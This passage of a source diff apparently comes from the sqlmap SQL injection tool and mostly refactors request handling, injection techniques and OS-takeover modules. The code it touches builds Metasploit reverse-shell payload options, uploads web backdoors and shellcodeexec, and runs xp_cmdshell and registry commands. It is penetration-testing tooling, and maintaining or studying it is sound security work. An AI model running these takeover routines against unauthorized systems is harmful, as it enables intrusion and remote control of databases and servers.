             elif "timed out" in tbMsg:
-                if not conf.disablePrecon:
-                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                    conf.disablePrecon = True
-
-                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                        kb.responseTimes.clear()
-
                 if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                     singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
                     kb.droppingRequests = True
@@ -684,6 +679,9 @@ class Connect(object):
                 status = re.search(r"Handshake status ([\d]{3})", tbMsg)
                 errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
                 raise SqlmapConnectionException(errMsg)
+            elif "SqlmapCompressionException" in tbMsg:
+                warnMsg = "problems with response (de)compression"
+                retrying = True
             else:
                 warnMsg = "unable to connect to the target URL"
 
@@ -719,7 +717,7 @@ class Connect(object):
                 else:
                     logger.debug(warnMsg)
                 return Connect._retryProxy(**kwargs)
-            elif kb.testMode:
+            elif kb.testMode or kb.multiThreadMode:
                 logger.critical(warnMsg)
                 return None, None, None
             else:
@@ -766,7 +764,8 @@ class Connect(object):
         return page, responseHeaders, code
 
     @staticmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
+    @stackedmethod
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -813,7 +812,7 @@ class Connect(object):
                 conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
 
         if payload:
-            if kb.tamperFunctions:
+            if not disableTampering and kb.tamperFunctions:
                 for function in kb.tamperFunctions:
                     try:
                         payload = function(payload=payload, headers=auxHeaders)
@@ -837,16 +836,10 @@ class Connect(object):
                     # with their HTML encoded counterparts
                     payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                 elif kb.postHint == POST_HINT.JSON:
-                    if payload.startswith('"') and payload.endswith('"'):
+                    payload = escapeJsonValue(payload)
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
                 elif kb.postHint == POST_HINT.JSON_LIKE:
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
-                    if payload.startswith('"') and payload.endswith('"'):
+                    payload = escapeJsonValue(payload)
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                 value = agent.replacePayload(value, payload)
             else:
@@ -862,7 +855,9 @@ class Connect(object):
                             skip = True
 
                     if not skip:
-                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
+                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
+                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                         value = agent.replacePayload(value, payload)
                         postUrlEncode = False
 
@@ -932,9 +927,9 @@ class Connect(object):
 
         if value and place == PLACE.CUSTOM_HEADER:
             if value.split(',')[0].capitalize() == PLACE.COOKIE:
-                cookie = value.split(',', 1)[1]
+                cookie = value.split(',', 1)[-1]
             else:
-                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
 
         if conf.csrfToken:
             def _adjustParameter(paramString, parameter, newValue):
@@ -981,7 +976,7 @@ class Connect(object):
                     if not conf.csrfUrl:
                         errMsg += ". You can try to rerun by providing "
                         errMsg += "a valid value for option '--csrf-url'"
-                    raise SqlmapTokenException, errMsg
+                    raise SqlmapTokenException(errMsg)
 
             if token:
                 token = token.strip("'\"")
@@ -1039,7 +1034,7 @@ class Connect(object):
                             name = safeVariableNaming(name)
                         elif name in keywords:
                             name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
-                        value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
+                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                         variables[name] = value
 
             if cookie:
@@ -1261,7 +1256,11 @@ class Connect(object):
             page = removeReflectiveValues(page, payload)
 
         kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
-        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
+
+        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
+        if message:
+            kb.permissionFlag = True
+            singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
 
         if content or response:
             return page, headers, code
@@ -1271,5 +1270,5 @@ class Connect(object):
         else:
             return comparison(page, headers, code, getRatioValue, pageLength)
 
-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
     raise NotImplementedError

lib/request/httpshandler.py

@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
             for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                 try:
                     sock = create_sock()

lib/request/inject.py

@@ -33,6 +33,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
@@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
 
     value = _goDns(payload, expression)
 
+    if payload is None:
+        return None
+
     if value is not None:
         return value
 
@@ -175,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
     # forge the SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table
     # can return multiple entries
-    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
+    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
-      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
 
         if limitCond:
@@ -336,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
 
     return output
 
+@stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
     """
     Called each time sqlmap inject a SQL query on the SQL injection

lib/request/rangehandler.py

@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
         urllib2.install_opener(opener)
 
         # create Request and set Range header
-        req = urllib2.Request('http://www.python.org/')
+        req = urllib2.Request('https://www.python.org/')
         req.header['Range'] = 'bytes=30-50'
         f = urllib2.urlopen(req)
     """

lib/request/templates.py

@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
         retVal = kb.pageTemplates[(payload, place)]
 
     return retVal
-

lib/takeover/abstraction.py

@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import XP_cmdshell
 
-
 class Abstraction(Web, UDF, XP_cmdshell):
     """
     This class defines an abstraction layer for OS takeover functionalities
@@ -172,9 +171,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
                 inject.goStacked(expression)
 
         # TODO: add support for PostgreSQL
-        #elif Backend.isDbms(DBMS.PGSQL):
+        # elif Backend.isDbms(DBMS.PGSQL):
-        #    expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
+        #     expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
-        #    inject.goStacked(expression)
+        #     inject.goStacked(expression)
 
     def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
         self._initRunAs()

lib/takeover/metasploit.py

@@ -81,6 +81,7 @@ class Metasploit:
                     _ = normalizePath(os.path.join(_, ".."))
                     if _ == old:
                         break
+
             self._msfCli = "%s & ruby %s" % (_, self._msfCli)
             self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
             self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
             self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
 
         self._msfPayloadsList = {
-                                      "windows": {
+            "windows": {
-                                                   1: ("Meterpreter (default)", "windows/meterpreter"),
+                1: ("Meterpreter (default)", "windows/meterpreter"),
-                                                   2: ("Shell", "windows/shell"),
+                2: ("Shell", "windows/shell"),
-                                                   3: ("VNC", "windows/vncinject"),
+                3: ("VNC", "windows/vncinject"),
-                                                 },
+            },
-                                      "linux":   {
+            "linux": {
-                                                   1: ("Shell (default)", "linux/x86/shell"),
+                1: ("Shell (default)", "linux/x86/shell"),
-                                                   2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
+                2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
-                                                 }
+            }
-                                    }
+        }
 
         self._msfConnectionsList = {
-                                      "windows": {
+            "windows": {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
+                2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
-                                                   3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
+                3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
-                                                   4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
+                4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
-                                                   5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+                5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 },
+            },
-                                      "linux":   {
+            "linux": {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+                2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 }
+            }
-                                    }
+        }
 
         self._msfEncodersList = {
-                                      "windows": {
+            "windows": {
-                                                   1: ("No Encoder", "generic/none"),
+                1: ("No Encoder", "generic/none"),
-                                                   2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
+                2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
-                                                   3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
+                3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
-                                                   4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
+                4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
-                                                   5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
+                5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
-                                                   6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
+                6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
-                                                   7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
+                7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
-                                                   8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
+                8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
-                                                   9: ("Non-Alpha Encoder", "x86/nonalpha"),
+                9: ("Non-Alpha Encoder", "x86/nonalpha"),
-                                                  10: ("Non-Upper Encoder", "x86/nonupper"),
+                10: ("Non-Upper Encoder", "x86/nonupper"),
-                                                  11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
+                11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
-                                                  12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
+                12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
-                                                  13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
+                13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
-                                                 }
+            }
-                                    }
+        }
 
         self._msfSMBPortsList = {
-                                      "windows": {
+            "windows": {
-                                                   1: ("139/TCP", "139"),
+                1: ("139/TCP", "139"),
-                                                   2: ("445/TCP (default)", "445"),
+                2: ("445/TCP (default)", "445"),
-                                                 }
+            }
-                                    }
+        }
 
         self._portData = {
-                            "bind": "remote port number",
+            "bind": "remote port number",
-                            "reverse": "local port number",
+            "reverse": "local port number",
-                          }
+        }
 
     def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
         if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
 
         send_all(proc, "use espia\n")
         send_all(proc, "use incognito\n")
-        # This extension is loaded by default since Metasploit > 3.7
+
-        #send_all(proc, "use priv\n")
+        # This extension is loaded by default since Metasploit > 3.7:
-        # This extension freezes the connection on 64-bit systems
+        # send_all(proc, "use priv\n")
-        #send_all(proc, "use sniffer\n")
+
+        # This extension freezes the connection on 64-bit systems:
+        # send_all(proc, "use sniffer\n")
+
         send_all(proc, "sysinfo\n")
         send_all(proc, "getuid\n")
 
@@ -671,13 +675,10 @@ class Metasploit:
             written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
 
         if written is not True:
-            errMsg = "there has been a problem uploading shellcodeexec, it "
+            errMsg = "there has been a problem uploading shellcodeexec. It "
             errMsg += "looks like the binary file has not been written "
             errMsg += "on the database underlying file system or an AV has "
-            errMsg += "flagged it as malicious and removed it. In such a case "
+            errMsg += "flagged it as malicious and removed it"
-            errMsg += "it is recommended to recompile shellcodeexec with "
-            errMsg += "slight modification to the source code or pack it "
-            errMsg += "with an obfuscator software"
             logger.error(errMsg)
 
             return False

lib/takeover/registry.py

@@ -33,19 +33,19 @@ class Registry:
             readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
 
         self._batRead = (
-                           "@ECHO OFF\r\n",
+            "@ECHO OFF\r\n",
-                           readParse,
+            readParse,
-                        )
+        )
 
         self._batAdd = (
-                           "@ECHO OFF\r\n",
+            "@ECHO OFF\r\n",
-                           "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
+            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
-                       )
+        )
 
         self._batDel = (
-                           "@ECHO OFF\r\n",
+            "@ECHO OFF\r\n",
-                           "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
+            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
-                       )
+        )
 
     def _createLocalBatchFile(self):
         self._batPathFp = open(self._batPathLocal, "w")

lib/takeover/web.py

@@ -47,11 +47,12 @@ from lib.core.enums import WEB_API
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
 from lib.core.settings import EVENTVALIDATION_REGEX
+from lib.core.settings import SHELL_RUNCMD_EXE_TAG
+from lib.core.settings import SHELL_WRITABLE_DIR_TAG
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.request.connect import Connect as Request
 from thirdparty.oset.pyoset import oset
 
-
 class Web:
     """
     This class defines web-oriented OS takeover functionalities for
@@ -110,10 +111,10 @@ class Web:
 
         if self.webApi in getPublicTypeMembers(WEB_API, True):
             multipartParams = {
-                                "upload":    "1",
+                "upload": "1",
-                                "file":      stream,
+                "file": stream,
-                                "uploadDir": directory,
+                "uploadDir": directory,
-                              }
+            }
 
             if self.webApi == WEB_API.ASPX:
                 multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +135,7 @@ class Web:
 
     def _webFileInject(self, fileContent, fileName, directory):
         outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
-        uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
+        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
         query = ""
 
         if isTechniqueAvailable(kb.technique):
@@ -257,6 +258,7 @@ class Web:
         directories = list(oset(directories))
 
         path = urlparse.urlparse(conf.url).path or '/'
+        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
         if path != '/':
             _ = []
             for directory in directories:
@@ -324,7 +326,7 @@ class Web:
 
                     with open(filename, "w+b") as f:
                         _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
-                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
+                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                         f.write(_)
 
                     self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +371,7 @@ class Web:
                     continue
 
                 _ = "tmpe%s.exe" % randomStr(lowercase=True)
-                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
+                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                     self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                     self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                     self.webDirectory = backdoorDirectory

lib/takeover/xp_cmdshell.py

@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
 
         return wasLastResponseDelayed()
 
+    @stackedmethod
     def _xpCmdshellTest(self):
         threadData = getCurrentThreadData()
         pushValue(threadData.disableStdOut)
@@ -214,7 +216,7 @@ class XP_cmdshell:
             if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                 output = inject.getValue(query, resumeValue=False, blind=False, time=False)
 
-            if (output is None) or len(output)==0 or output[0] is None:
+            if (output is None) or len(output) == 0 or output[0] is None:
                 output = []
                 count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 

lib/techniques/blind/inference.py

@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
     finalValue = None
     retrievedLength = 0
 
+    if payload is None:
+        return 0, None
+
     if charsetType is None and conf.charset:
         asciiTbl = sorted(set(ord(_) for _ in conf.charset))
     else:
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             with hintlock:
                 hintValue = kb.hintValue
 
-            if hintValue is not None and len(hintValue) >= idx:
+            if payload is not None and hintValue is not None and len(hintValue) >= idx:
                 if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                     posValue = hintValue[idx - 1]
                 else:
@@ -223,7 +226,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
 
-            if result and timeBasedCompare:
+            if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
                 result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                 if not result:
                     warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -611,7 +614,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                     # If we had no luck with commonValue and common charset,
                     # use the returned other charset
                     if not val:
-                        val = getChar(index, otherCharset, otherCharset==asciiTbl)
+                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                 else:
                     val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
 

lib/techniques/dns/test.py

@@ -14,7 +14,6 @@ from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.techniques.dns.use import dnsUse
 
-
 def dnsTest(payload):
     logger.info("testing for data retrieval through DNS channel")
 

lib/techniques/dns/use.py

@@ -33,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 
-
 def dnsUse(payload, expression):
     """
     Retrieve the output of a SQL query taking advantage of the DNS

lib/techniques/error/use.py

@@ -133,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
                 # Parse the returned page to get the exact error-based
                 # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (\
+                output = reduce(lambda x, y: x if x is not None else y, (
-                        extractRegexResult(check, page), \
+                    extractRegexResult(check, page),
-                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
+                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
-                        extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
+                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
-                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
-                        None)
+                    None
+                )
 
                 if output is not None:
                     output = getUnicode(output)
                 else:
-                    trimmed = extractRegexResult(trimcheck, page) \
+                    trimmed = (
-                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
+                        extractRegexResult(trimcheck, page) or
-                        or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
+                        extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
-                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                        extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
+                        extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    )
 
                     if trimmed:
                         if not chunkTest:
@@ -308,12 +311,7 @@ def errorUse(expression, dump=False):
     # entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
+    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
-       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
-       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -416,7 +414,7 @@ def errorUse(expression, dump=False):
                                 break
 
                             if output and isListLike(output) and len(output) == 1:
-                                output = output[0]
+                                output = unArrayizeValue(output)
 
                             with kb.locks.value:
                                 index = None
@@ -448,7 +446,7 @@ def errorUse(expression, dump=False):
         value = _errorFields(expression, expressionFields, expressionFieldsList)
 
     if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
-        value = value[0]
+        value = unArrayizeValue(value)
 
     duration = calculateDeltaSeconds(start)
 

lib/techniques/union/test.py

@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
     """
     retVal = None
 
-    def _orderByTechnique():
+    @stackedmethod
+    def _orderByTechnique(lowerCount=None, upperCount=None):
         def _orderByTest(cols):
             query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
             query = agent.suffixQuery(query, suffix=suffix, comment=comment)
             payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
             page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
 
-        if _orderByTest(1) and not _orderByTest(randomInt()):
+        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
             infoMsg = "'ORDER BY' technique appears to be usable. "
             infoMsg += "This should reduce the time needed "
             infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             infoMsg += "range for current UNION query injection technique test"
             singleTimeLogMessage(infoMsg)
 
-            lowCols, highCols = 1, ORDER_BY_STEP
+            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
             found = None
             while not found:
-                if _orderByTest(highCols):
+                if not conf.uCols and _orderByTest(highCols):
                     lowCols = highCols
                     highCols += ORDER_BY_STEP
                 else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
         kb.errorIsNone = False
         lowerCount, upperCount = conf.uColsStart, conf.uColsStop
 
-        if lowerCount == 1:
+        if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):  # ORDER BY is not bullet-proof
-            found = kb.orderByColumns or _orderByTechnique()
+            found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
             if found:
                 kb.orderByColumns = found
                 infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -114,10 +116,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             items.append((count, ratio))
 
         if not isNullValue(kb.uChar):
-            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
+            for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
-                contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
+                contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
